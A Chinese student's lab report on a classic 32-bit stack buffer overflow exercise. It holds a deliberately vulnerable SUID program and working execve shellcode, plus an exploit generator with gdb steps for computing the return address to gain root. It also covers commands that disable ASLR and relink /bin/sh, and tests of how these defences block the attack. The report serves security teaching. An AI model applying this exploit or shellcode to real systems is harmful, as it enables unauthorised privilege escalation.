20181313毕然《信息安全系统设计与实现》——缓冲区溢出漏洞实验
一、实验简介
1、缓冲区溢出
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。操作系统所使用的缓冲区，又被称为"堆栈"。在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
2、Linux平台上的栈溢出与Shellcode
Linux平台栈溢出攻击技术：NSR、RNS、RS三种模式。NSR和RNS模式适用于本地缓冲区溢出和远程栈溢出攻击，而RS模式只能用于本地缓冲区溢出攻击。
Linux平台的Shellcode实现技术：Linux本地Shellcode实现机制、Linux远程Shellcode实现机制
3、Windows平台上的栈溢出与Shellcode
Windows平台栈溢出攻击技术：Windows平台栈溢出攻击技术机理（对程序运行过程中废弃栈的处理方式差异、进程内存空间的布局差异、系统功能调用的实现方式差异）、远程栈溢出攻击示例、野外Windows栈溢出实例
Windows平台Shellcode实现技术：Windows本地Shellcode、Windows远程Shellcode
4、堆溢出攻击
- 函数指针改写
- C++类对象虚函数表改写
- Linux下堆管理glibc库free()函数本身漏洞
5、缓冲区溢出攻击的防御技术
- 尝试杜绝溢出的防御技术
- 允许溢出但不让程序改变执行流程的防御技术
- 无法让攻击代码执行的防御技术
适用人群：
- 有 C 语言基础
- 会进制转换以及计算
- vim 基本使用
- 熟悉基本 linux 命令
注意：实验中命令在 xfce 终端中输入，前面有 $ 的内容为在终端输入的命令，$ 号不需要输入。命令上有 # 的内容为注释，不需要输入（“gdb 调试”不用输入）。
二、实验准备
系统用户名 shiyanlou
检测攻击是否成功：stack.c文件用于从文件中读取数据并反映在缓冲区；exploit.c文件是攻击程序，利用漏洞攻击程序获得root权限。
实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。
输入命令安装一些用于编译 32 位 C 程序的软件包：
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb
三、实验步骤
1、Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：
sudo sysctl -w kernel.randomize_va_space=0
2、此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。
linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
3、输入命令 linux32 进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，输入 /bin/bash 使用bash：
3.2 shellcode
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。
观察以下代码：
#include <stdio.h> int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); }
本次实验的 shellcode，就是刚才代码的汇编版本：
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3.3 漏洞程序
在 /tmp 目录下新建一个 stack.c 文件：
cd /tmp
vim stack.c
按 i 键切换到插入模式，再输入如下内容：
复制代码如果出现缩进混乱可先在 Vim 执行 :set paste 再按 i 键编辑。
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
编译该程序，并设置 SET-UID。命令如下：
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
3.4 攻击程序
我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。
在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[] = "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址 strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer，偏移量设为了 100 /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
或者也可以直接下载代码：
wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c
注意上面的代码，\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
现在我们要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：
gdb stack
disass main
结果如图：
esp 中就是 str 的起始地址，所以我们在地址 0x080484ee 处设置断点。
接下来的操作：
# 设置断点 b *0x080484ee r i r $esp
最后获得的这个 0xffffcfb0 就是 str 的地址。
按 q 键，再按 y 键可退出调试。
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014
现在修改 exploit.c 文件，将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff，注意顺序是反的。
然后，编译 exploit.c 程序：
gcc -m32 -o exploit exploit.c
3.5 攻击结果
先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：
whoami 是输入的命令，不是输出结果。
可见，通过攻击，获得了root 权限
如果不能攻击成功，提示”段错误“，那么请重新使用 gdb 反汇编，计算内存地址。
四、练习
1、按照实验步骤进行操作，攻击漏洞程序并获得 root 权限。
获得了root 权限
2、通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制，重复用 exploit 程序攻击 stack 程序，观察能否攻击成功，能否获得root权限。
出现段错误，攻击失败
3、将 /bin/sh 重新指向 /bin/bash（或/bin/dash），观察能否攻击成功，能否获得 root 权限。
在命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制下将 /bin/sh 重新指向 /bin/bash（或/bin/dash），攻击不成功
在命令 sudo sysctl -w kernel.randomize_va_space=0下将 /bin/sh 重新指向 /bin/bash（或/bin/dash），攻击不成功
补充：
在命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制下，重新使用 gdb 反汇编，计算内存地址，判断攻击是否成功。
重复3.4攻击程序中的部分步骤，得到str的地址为0xfff91ac0
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xfff91ac0 + 0x64 = 0xfff91b24
并在exploit.c 文件中，将 \x??\x??\x??\x?? 修改为计算的结果 \x24\x1b\xf9\xff，注意顺序是反的。
然后，编译 exploit.c 程序，重复攻击步骤。
出现段错误，攻击失败。
五、实验心得
缓冲区溢出的实验虽然理论上较为抽象，但是在实验楼详细明确的步骤过程的帮助下，我比较顺利的完成了实验。在实验的过程中，也仍有许多细节需要注意，比如说打开文件夹时要输入“/”，shellcode 的地址要加上16进制的0x64，写入攻击程序时注意顺序问题。通过这次实验，我对缓冲区溢出攻击的概念有了更深入的了解，缓冲区溢出的攻击方式通常通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。本次实验也让我对Linux系统有了进一步的了解。
